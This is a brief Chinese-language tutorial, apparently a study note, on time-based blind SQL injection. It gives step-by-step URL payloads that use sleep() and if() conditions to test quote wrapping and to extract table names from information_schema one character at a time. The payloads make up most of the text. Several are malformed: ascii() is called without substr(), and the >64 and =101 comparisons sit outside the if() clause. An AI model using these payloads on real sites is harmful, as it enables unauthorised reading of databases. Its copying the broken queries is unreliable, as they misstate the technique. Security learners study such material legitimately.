時間盲注比布爾盲注難度稍高 ,關鍵在於不論你怎么輸入就是不報錯

那么根據什么去判斷注入呢 根據請求的時間 請求的時間延時了。
1.猜測參數的包裹情況
id=1這個1要么被'包裹 要么被"包裹 要么被)包裹
先去嘗試id= 1’ or sleep(3) %23
如果這個時候直接服務器過了三秒才反應
那么就存在時間注入
2.添加if語句,控制if第一個參數
如果某一個條件正確就延遲三秒,如果錯位就返回0 (也就是if第一個參數為1)
id= 1’ or if(1,sleep(3),0) %23

如果某一個條件為假就直接返回(也就是if第一個參數為0)
3.控制參數詳情
id= 1’ or if((select table_name from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23
為了先驗證一下語句有沒有錯誤 我們先table_name當作1
id= 1’ or if((select 1 from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23
可以發現ok
然后用ascii()表示
id= 1’ or if((select ascii(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23
接下來看這個數據庫的i的一個表名的第一個字符 ascii是不是大於64
id= 1’ or if((select ascii(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) >64 %23
再看看是不是大於96,再看看是不是大於110(這個自己設定)
最終判斷出是101那么就是
id= 1’ or if((select ascii(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) =101 %23
